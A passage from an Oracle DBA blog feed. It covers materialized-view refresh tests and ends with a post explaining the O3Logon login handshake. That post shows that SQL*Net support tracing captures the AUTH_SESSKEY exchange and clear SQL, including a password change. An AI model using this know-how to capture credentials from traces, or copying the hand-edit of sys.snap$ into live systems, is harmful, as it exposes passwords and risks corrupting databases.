  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09<br />
  value=”B”<br />
 Bind#3<br />
  No oacdef for this bind.<br />
EXEC #14:c=3999,e=5391,p=0,cr=2,cu=0,mis=1,r=0,dep=2,og=1,tim=1177042417285916<br />
…<br />
PARSING IN CURSOR #22 len=60 dep=2 uid=66 oct=2 lid=66 tim=1177042417286092 hv=1178564284 ad=’27e1d10c’<br />
INSERT INTO “TEST”.”MV_T1″  (”ID”,”A”,”B”) VALUES (:1,:2,:3)<br />
END OF STMT<br />
PARSE #22:c=0,e=130,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=1,tim=1177042417286087<br />
BINDS #22:<br />
kkscoacd<br />
 Bind#0<br />
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0<br />
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09<br />
  value=1<br />
 Bind#1<br />
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09<br />
  value=”A”<br />
 Bind#2<br />
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09<br />
  value=”B”<br />
EXEC #22:c=1000,e=678,p=0,cr=1,cu=8,mis=1,r=1,dep=2,og=1,tim=1177042417286879<br />
EXEC #22:c=1000,e=678,p=0,cr=1,cu=8,mis=1,r=1,dep=2,og=1,tim=1177042417286879<br />
BINDS #14:<br />
kkscoacd<br />
 Bind#0<br />
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0<br />
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09<br />
  value=2<br />
 Bind#1<br />
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09<br />
  value=”a”<br />
 Bind#2<br />
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09<br />
  value=”b”<br />
 Bind#3<br />
  No oacdef for this bind.<br />
EXEC #14:c=0,e=313,p=0,cr=1,cu=3,mis=0,r=1,dep=2,og=1,tim=1177042417287291<br />
BINDS #14:<br />
kkscoacd<br />
 Bind#0<br />
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0<br />
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09<br />
  value=3<br />
 Bind#1<br />
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09<br />
  value=”A”<br />
 Bind#2<br />
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09<br />
  value=”B”<br />
 Bind#3<br />
  No oacdef for this bind.<br />
EXEC #14:c=1000,e=1185,p=0,cr=1,cu=0,mis=0,r=0,dep=2,og=1,tim=1177042417288518<br />
BINDS #22:<br />
kkscoacd<br />
 Bind#0<br />
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0<br />
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09<br />
  value=3<br />
 Bind#1<br />
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09<br />
  value=”A”<br />
 Bind#2<br />
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0<br />
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09<br />
  value=”B”<br />
EXEC #22:c=0,e=180,p=0,cr=0,cu=3,mis=0,r=1,dep=2,og=1,tim=1177042417288728<br />
…<br />
PARSING IN CURSOR #14 len=52 dep=1 uid=0 oct=7 lid=0 tim=1177042417319986 hv=271018863 ad=’28993e00′<br />
delete from “TEST”.”MLOG$_T1″ where snaptime$$ &lt;= :1<br />
END OF STMT<br />
PARSE #14:c=999,e=1093,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=1177042417319982<br />
BINDS #14:<br />
kkscoacd<br />
 Bind#0<br />
  oacdty=12 mxl=07(07) mxlc=00 mal=00 scl=00 pre=00<br />
  oacflg=18 fl2=0001 frm=00 csi=00 siz=8 off=0<br />
  kxsbbbfp=bfff9cf0  bln=07  avl=07  flg=09<br />
  value=”3/12/2008 11:10:35″<br />
EXEC #14:c=1000,e=1636,p=0,cr=3,cu=4,mis=1,r=4,dep=1,og=4,tim=1177042417321698</p>
<p> <br />
Even though the MLOG$_ table contains the old and new values, the materialized view obtains the current value through access the base table.</p>
<p> </p>
<p>Change base table’s definition</p>
<p><a href="mailto:sys@TEST&gt;exec">sys@TEST&gt;exec</a> DBMS_REDEFINITION.CAN_REDEF_TABLE(’TEST’,&#8217;T1′);<br />
BEGIN DBMS_REDEFINITION.CAN_REDEF_TABLE(’TEST’,&#8217;T1′); END;<br />
*<br />
ERROR at line 1:<br />
ORA-12091: cannot online redefine table “TEST”.”T1″ with materialized views<br />
ORA-06512: at “SYS.DBMS_REDEFINITION”, line 137<br />
ORA-06512: at “SYS.DBMS_REDEFINITION”, line 1478<br />
ORA-06512: at line 1</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(4,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 modify b varchar2(2);<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(5,’A&#8217;,’BB’);<br />
insert into test.t1 values(5,’A&#8217;,’BB’)<br />
                 *<br />
ERROR at line 1:<br />
ORA-12096: error in materialized view log on “TEST”.”T1″<br />
ORA-12899: value too large for column “TEST”.”MLOG$_T1″.”B” (actual: 2, maximum: 1)</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(5,’A&#8217;,’B&#8217;);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a>  MATERIALIZED VIEW log on test.t1 modify b varchar2(2);<br />
Materialized view log altered.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1 values(6,’A&#8217;,’BB’);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
BEGIN dbms_mview.refresh(’MV_T1′,’F&#8217;); END;<br />
*<br />
ERROR at line 1:<br />
ORA-12008: error in materialized view refresh path<br />
ORA-12899: value too large for column “TEST”.”MV_T1″.”B” (actual: 2, maximum: 1)<br />
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2254<br />
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2460<br />
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2429<br />
ORA-06512: at line 1</p>
<p><a href="mailto:test@TEST&gt;desc">test@TEST&gt;desc</a> test.MV_T1<br />
 Name                                                  Null?    Type<br />
 —————————————————– ——– ————————————<br />
 ID                                                    NOT NULL NUMBER<br />
 A                                                              CHAR(1)<br />
 B                                                              VARCHAR2(1)<br />
 <br />
<a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.mv_t1 modify b varchar2(2);<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 modify a char(2);<br />
alter table test.t1 modify a char(2)<br />
*<br />
ERROR at line 1:<br />
ORA-12096: error in materialized view log on “TEST”.”T1″<br />
ORA-12899: value too large for column “TEST”.”MLOG$_T1″.”A” (actual: 2, maximum: 1)</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a>  MATERIALIZED VIEW log on test.t1 modify a char(2);<br />
Materialized view log altered.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 modify a char(2);<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.mv_t1 modify a char(2);<br />
alter table test.mv_t1 modify a char(2)<br />
*<br />
ERROR at line 1:<br />
ORA-01732: data manipulation operation not legal on this view</p>
<p><a href="mailto:test@TEST&gt;drop">test@TEST&gt;drop</a> MATERIALIZED VIEW mv_t1;<br />
Materialized view dropped.</p>
<p><a href="mailto:test@TEST&gt;drop">test@TEST&gt;drop</a> MATERIALIZED VIEW log on test.t1;<br />
Materialized view log dropped.</p>
<p><a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> MATERIALIZED VIEW log on test.t1 with PRIMARY KEY, rowid, SEQUENCE(a,b) including new values;<br />
Materialized view log created.</p>
<p><a href="mailto:test@TEST&gt;CREATE">test@TEST&gt;CREATE</a> MATERIALIZED VIEW test.mv_t1 build immediate refresh force on demand as select * from test.t1;<br />
Materialized view created.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> * from test.mv_t1;<br />
        ID A  B<br />
———- — –<br />
         3 A  B<br />
         2 a  b<br />
         1 A  B<br />
         4 A  B<br />
         5 A  B<br />
         6 A  BB<br />
6 rows selected.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1(id) values(7);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 modify b default ‘NA’;<br />
Table altered.<br />
 <br />
<a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1(id) values(8);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 modify a default ‘NA’;<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> * from test.mv_t1;<br />
        ID A  B<br />
———- — –<br />
         3 A  B<br />
         2 a  b<br />
         1 A  B<br />
         4 A  B<br />
         5 A  B<br />
         6 A  BB<br />
         7<br />
         8    NA<br />
8 rows selected.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.t1 drop column a;<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> * from mv_t1;<br />
        ID A  B<br />
———- — –<br />
         3 A  B<br />
         2 a  b<br />
         1 A  B<br />
         4 A  B<br />
         5 A  B<br />
         6 A  BB<br />
         9 NA NA<br />
         7<br />
         8    NA<br />
9 rows selected.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.refresh(’MV_T1′,’C&#8217;);<br />
BEGIN dbms_mview.refresh(’MV_T1′,’C&#8217;); END;<br />
*<br />
ERROR at line 1:<br />
ORA-12018: following error encountered during code generation for “TEST”.”MV_T1″<br />
ORA-00904: “T1″.”A”: invalid identifier<br />
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2254<br />
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2460<br />
ORA-06512: at “SYS.DBMS_SNAPSHOT”, line 2429<br />
ORA-06512: at line 1</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.MLOG$_T1 drop column a;<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.mv_t1 drop column a;<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into test.t1(id) values(10);<br />
1 row created.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.UNREGISTER_MVIEW(’TEST’,&#8217;MV_T1′,’TEST.REGRESS.RDBMS.DEV.US.ORACLE.COM’);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:test@TEST&gt;exec">test@TEST&gt;exec</a> dbms_mview.REGISTER_MVIEW(’TEST’,&#8217;MV_T1′,’TEST.REGRESS.RDBMS.DEV.US.ORACLE.COM’,100,dbms_mview.reg_primary_key_mview,’select id,b from test.t1′,dbms_mview.reg_v8_snapshot);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:sys@TEST&gt;update">sys@TEST&gt;update</a> sys.snap$ set QUERY_TXT=’SELECT “T1″.”ID” “ID”,”T1″.”B” “B” FROM “TEST”.”T1″ “T1″‘,QUERY_LEN=56 where VNAME=’MV_T1′;<br />
1 row updated.</p>
<p><a href="mailto:sys@TEST&gt;commit">sys@TEST&gt;commit</a>;<br />
Commit complete.</p>
<p><a href="mailto:sys@TEST&gt;exec">sys@TEST&gt;exec</a> dbms_mview.refresh(’TEST.MV_T1′,’F&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p><a href="mailto:sys@TEST&gt;select">sys@TEST&gt;select</a> * from test.mv_t1;<br />
        ID B<br />
———- –<br />
         3 B<br />
         2 b<br />
         1 B<br />
         4 B<br />
         5 B<br />
         6 BB<br />
         9 NA<br />
         7<br />
         8 NA<br />
        10 NA<br />
10 rows selected.<br />
From the above result, the base table can change the column’s length on some data type, such as varchar2, but not char. There’s different behavior to specify the default value on varchar2 and char after the columns have exist. Drop base table’s columns which be referenced by materialized view maybe be possible (Don’t do that on production). Add columns to base table which materialized view does not contains them also be possible. If multi-tables join or contain aggregation function, there’s more restriction to change base table’s definition.</p>
<p> <br />
Move materialized view to different tablespace.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> table test.mv_t1 move tablespace users;<br />
Table altered.</p>
<p><a href="mailto:test@TEST&gt;alter">test@TEST&gt;alter</a> index t1_pk1 rebuild;<br />
Index altered.</p>
<p> <br />
Complete refresh changed from 9i to 10g<br />
Materialized view complete refresh has changed from Oracle 9i to 10g a little. Also atomic parameter has the same default value, but the behavior is different when complete refresh one materialized view. After upgrade from Oracle 9i to 10g, complete refresh maybe take a long time and more redo size.</p>
<p>SQL&gt; select * from v$version;<br />
BANNER<br />
—————————————————————-<br />
Oracle9i Enterprise Edition Release 9.2.0.4.0 &#8211; Production<br />
PL/SQL Release 9.2.0.4.0 &#8211; Production<br />
CORE 9.2.0.3.0 Production<br />
TNS for Linux: Version 9.2.0.4.0 &#8211; Production<br />
NLSRTL Version 9.2.0.4.0 &#8211; Production<br />
 <br />
SQL&gt; create table t1 as select rownum id from all_objects where rownum&lt;6;<br />
Table created.<br />
 <br />
SQL&gt; alter table t1 add constraint t1_pk primary key (id);<br />
Table altered.</p>
<p>SQL&gt; create materialized view mv_t1 as select * from t1;<br />
Materialized view created.</p>
<p>SQL&gt; select * from mv_t1;<br />
ID<br />
———-<br />
1<br />
2<br />
3<br />
4<br />
5</p>
<p>SQL&gt; alter session set events ‘10046 trace name context forever,level 12′;<br />
Session altered.</p>
<p>SQL&gt; exec dbms_mview.refresh(’MV_T1′,method=&gt;’c&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p>SQL&gt; alter session set events ‘10046 trace name context off’;<br />
Session altered.<br />
Extract data from trace file.</p>
<p>PARSING IN CURSOR #31 len=48 dep=1 uid=22 oct=85 lid=22 tim=1173899130266695 hv=1203315168 ad=’5939c468′<br />
truncate table “TEST”.”MV_T1″ purge snapshot log<br />
END OF STMT<br />
PARSE #31:c=0,e=11549,p=0,cr=0,cu=1,mis=1,r=0,dep=1,og=4,tim=1173899130266689<br />
…<br />
PARSING IN CURSOR #31 len=78 dep=1 uid=22 oct=2 lid=22 tim=1173899130361469 hv=2194498332 ad=’59373ac4′<br />
INSERT /*+ APPEND */ INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″<br />
END OF STMT</p>
<p>From the above result, the materialized view be truncated firstly, then insert append data, if this materialized view is nologging, it maybe cause recover issue after that time.</p>
<p>SQL&gt; select NAME,UNRECOVERABLE_CHANGE#,UNRECOVERABLE_TIME from v$datafile;<br />
NAME UNRECOVERABLE_CHANGE# UNRECOVER<br />
————————————————– ——————— ———<br />
/ddms01/dms/o02dms0suprt1/system_1.O02DMS0 0<br />
/ddms01/dms/o02dms0data1/undo_tbs_01.O02DMS0 0<br />
/ddms01/dms/o02dms0data1/users_1.O02DMS0 0<br />
/ddms01/dms/o02dms0data1/cqowner_ts_01.O02DMS0 0<br />
/ddms01/dms/o02dms0data1/tools01.dbf 0<br />
/ddms01/dms/o02dms0data1/test_2k_01.dbf 0<br />
/ddms01/dms/o02dms0data1/test01.dbf 0<br />
/ddms01/dms/oracle/9.2.0/dbs/MISSING00008 0<br />
8 rows selected.</p>
<p>SQL&gt; drop materialized view mv_t1;<br />
Materialized view dropped.</p>
<p>SQL&gt; create materialized view mv_t1 nologging tablespace users as select * from t1;<br />
Materialized view created.</p>
<p>SQL&gt; select NAME,UNRECOVERABLE_CHANGE#,UNRECOVERABLE_TIME from v$datafile;<br />
NAME UNRECOVERABLE_CHANGE# UNRECOVERABLE_TIME<br />
————————————————– ——————— ——————-<br />
…<br />
/ddms01/dms/o02dms0data1/users_1.O02DMS0 1.1329E+10 <strong>2008-02-03 13:16:57</strong><br />
…</p>
<p>SQL&gt; exec dbms_mview.refresh(’MV_T1′,method=&gt;’c&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p>SQL&gt; select NAME,UNRECOVERABLE_CHANGE#,UNRECOVERABLE_TIME from v$datafile;<br />
NAME UNRECOVERABLE_CHANGE# UNRECOVERABLE_TIME<br />
————————————————– ——————— ——————-<br />
…<br />
/ddms01/dms/o02dms0data1/users_1.O02DMS0 1.1329E+10 <strong>2008-02-03 13:19:09</strong><br />
…</p>
<p>SQL&gt; create materialized view mv2_t1 as select * from t1;<br />
Materialized view created.</p>
<p>SQL&gt; alter session set events ‘10046 trace name context forever,level 12′;<br />
Session altered.</p>
<p>SQL&gt; exec dbms_mview.refresh(’MV_T1,MV2_t1′,method=&gt;’c&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p>…<br />
PARSING IN CURSOR #18 len=26 dep=1 uid=22 oct=7 lid=22 tim=1173901762258356 hv=2659115118 ad=’5af5f0e0′<br />
delete from “TEST”.”MV_T1″<br />
END OF STMT<br />
…<br />
PARSING IN CURSOR #18 len=64 dep=1 uid=22 oct=2 lid=22 tim=1173901762261353 hv=3235319373 ad=’593e7a60′<br />
INSERT INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″<br />
END OF STMT<br />
…<br />
PARSING IN CURSOR #18 len=27 dep=1 uid=22 oct=7 lid=22 tim=1173901762287626 hv=2749552578 ad=’5aee50f0′<br />
delete from “TEST”.”MV2_T1″<br />
END OF STMT<br />
…<br />
PARSING IN CURSOR #20 len=65 dep=1 uid=22 oct=2 lid=22 tim=1173901762283788 hv=1756284514 ad=’5aee9ec4′<br />
INSERT INTO “TEST”.”MV2_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″<br />
END OF STMT<br />
 </p>
<p>If complete refresh a group of materialized view, deleting instead of truncate data so that all actions are in one transaction.</p>
<p>SQL&gt; select * from v$version;<br />
BANNER<br />
—————————————————————-<br />
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 &#8211; Prod<br />
PL/SQL Release 10.2.0.1.0 &#8211; Production<br />
CORE 10.2.0.1.0 Production<br />
TNS for Linux: Version 10.2.0.1.0 &#8211; Production<br />
NLSRTL Version 10.2.0.1.0 &#8211; Production</p>
<p>SQL&gt; create table t1 as select rownum id from all_objects where rownum&lt;6;<br />
Table created.</p>
<p>SQL&gt; alter table t1 add constraint t1_pk primary key (id);<br />
Table altered.<br />
 <br />
SQL&gt; create materialized view mv_t1 as select * from t1;<br />
Materialized view created.</p>
<p>SQL&gt; alter session set events ‘10046 trace name context forever,level 12′;<br />
Session altered.</p>
<p>SQL&gt; exec dbms_mview.refresh(’MV_T1′,method=&gt;’c&#8217;);<br />
PL/SQL procedure successfully completed.</p>
<p>SQL&gt; alter session set events ‘10046 trace name context off’;<br />
Session altered.</p>
<p>…<br />
PARSING IN CURSOR #21 len=27 dep=1 uid=32 oct=7 lid=32 tim=1173900388085768 hv=2156255936 ad=’2f8da41c’<br />
delete from “TEST”.”MV_T1″<br />
END OF STMT<br />
…<br />
PARSING IN CURSOR #19 len=64 dep=1 uid=32 oct=2 lid=32 tim=1173900387983740 hv=1185993576 ad=’2f960aac’<br />
INSERT INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″<br />
END OF STMT<br />
…</p>
<p>From the above result, we can see that the default behavior is different between 9i and 10g when complete refersh one materialized view.</p>
<p>SQL&gt; alter session set events ‘10046 trace name context forever,level 12′;<br />
Session altered.</p>
<p>SQL&gt; exec dbms_mview.refresh(’MV_T1′,method=&gt;’c&#8217;,atomic_refresh=&gt;false);<br />
PL/SQL procedure successfully completed.<br />
…<br />
PARSING IN CURSOR #21 len=49 dep=1 uid=32 oct=85 lid=32 tim=1173903443911624 hv=1821482286 ad=’2c538e0c’<br />
truncate table “TEST”.”MV_T1″ purge snapshot log<br />
END OF STMT<br />
…<br />
PARSING IN CURSOR #21 len=123 dep=1 uid=32 oct=2 lid=32 tim=1173903444814792 hv=2267269472 ad=’2f87a8cc’<br />
INSERT /*+ BYPASS_RECURSIVE_CHECK APPEND SKIP_UNQ_UNUSABLE_IDX */ INTO “TEST”.”MV_T1″(”ID”) SELECT “T1″.”ID” FROM “T1″ “T1″<br />
END OF STMT<br />
…</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/103/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=103&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2008/09/19/materialized-view/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>Network</title>
		<link>http://yaping123.wordpress.com/2008/09/02/network/</link>
		<comments>http://yaping123.wordpress.com/2008/09/02/network/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 02:35:37 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=98</guid>
		<description><![CDATA[Oracle Password Protocol (O3Logon) O3Logon protocol is used in Oracle 10g and earlier, O5Logon used since 11g. When client connect to db, it firstly sends the user to server, then the server checks whether it is a valid username, if it is not, the server sends a “login denied” error to client. If the user [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=98&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Oracle Password Protocol (O3Logon)</p>
<p>O3Logon protocol is used in Oracle 10g and earlier, O5Logon used since 11g.</p>
<p>When client connect to db, it firstly sends the user to server, then the server checks whether it is a valid username, if it is not, the server sends a “login denied” error to client.</p>
<p>If the user exists, then the server extracts the users’ password hash value from the database, the server uses this hash value to create a secret number.</p>
<p>The secret number is then encrypted with the user’s password hash value, and the result becomes the AUTH_SESSKEY, it is sent to client.</p>
<p>After receiving the AUTH_SESSKEY, the client must decrypt the secret number. The user creates his/her password hash, this hash is then used as the key to decrypt the AUTH_SESSKEY. If everything goes well, then this should produce the secret number. This secret number is then used as a key to encrypt the user’s clear-text. The cipher text is then sent back to the server as the AUTH_PASSWORD.</p>
<p>The server decrypts the AUTH_PASSWORD with the secret number used as the key. The server now has a copy of the clear-text password. Then the server creates the password hash and compares it with the hash in the database. If they match, then the user is authenticated. Checks are then performed by the server to determine whether the user has the create session privilege, if so, the user is given access to the database server.</p>
<p>If not necessary, don’t set Oracle network trace, it can extract significant data.</p>
<p>Illuminate as following demo. Change sqlnet.ora file on server side, enable trace.</p>
<p>trace_file_server=srv.trc<br />
trace_directory_server=/tmp<br />
trace_level_server=support</p>
<p>Or add the following items on client side.</p>
<p>trace_file_client=cli.trc<br />
trace_directory_client=/tmp<br />
trace_level_client=support</p>
<p>Connect to db and submit one statement.<br />
[oracle@chen tmp]$ sqlplus <a href="mailto:system@chen">system@chen</a><br />
SQL*Plus: Release 10.2.0.3.0 &#8211; Production on Fri Jan 11 20:10:20 2008<br />
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.<br />
Enter password: ******<br />
Connected to:<br />
Oracle9i Enterprise Edition Release 9.2.0.4.0 &#8211; Production<br />
With the Partitioning, OLAP and Oracle Data Mining options<br />
JServer Release 9.2.0.4.0 – Production</p>
<p><a href="mailto:system@CHEN&gt;alter">system@CHEN&gt;alter</a> user system identified by system;<br />
User altered.</p>
<p>Then check trace file, we can find significant content, including clear SQL statement text.</p>
<p>… …</p>
<p>[11-JAN-2008 20:10:23:529] nsprecv: 00 88 B6 FF BF 94 BC FF  |……..|<br />
[11-JAN-2008 20:10:23:529] nsprecv: BF 06 73 79 73 74 65 6D  |..system|<br />
[11-JAN-2008 20:10:23:529] nsprecv: 0D 00 00 00 0D 41 55 54  |…..AUT|<br />
[11-JAN-2008 20:10:23:529] nsprecv: 48 5F 54 45 52 4D 49 4E  |H_TERMIN|<br />
[11-JAN-2008 20:10:23:529] nsprecv: 41 4C 05 00 00 00 05 70  |AL…..p|<br />
[11-JAN-2008 20:10:23:530] nsprecv: 74 73 2F 32 00 00 00 00  |ts/2….|<br />
… …<br />
[11-JAN-2008 20:10:23:545] nspsend: 00 00 08 01 00 0C 00 00  |……..|<br />
[11-JAN-2008 20:10:23:545] nspsend: 00 0C 41 55 54 48 5F 53  |..AUTH_S|<br />
[11-JAN-2008 20:10:23:545] nspsend: 45 53 53 4B 45 59 20 00  |ESSKEY..|<br />
[11-JAN-2008 20:10:23:545] nspsend: 00 00 20 33 32 32 43 43  |…322CC|<br />
[11-JAN-2008 20:10:23:546] nspsend: 38 34 31 30 33 43 36 33  |84103C63|<br />
[11-JAN-2008 20:10:23:546] nspsend: 42 41 36 30 30 38 46 41  |BA6008FA|<br />
[11-JAN-2008 20:10:23:546] nspsend: 33 44 39 36 37 42 45 46  |3D967BEF|<br />
[11-JAN-2008 20:10:23:546] nspsend: 34 43 46 00 00 00 00 04  |4CF…..|<br />
[11-JAN-2008 20:10:23:546] nspsend: 01 00 00 00 01 00 00 00  |……..|<br />
… …<br />
[11-JAN-2008 20:10:23:548] nsprecv: 00 8C E3 FF BF 7C F4 FF  |…..|..|<br />
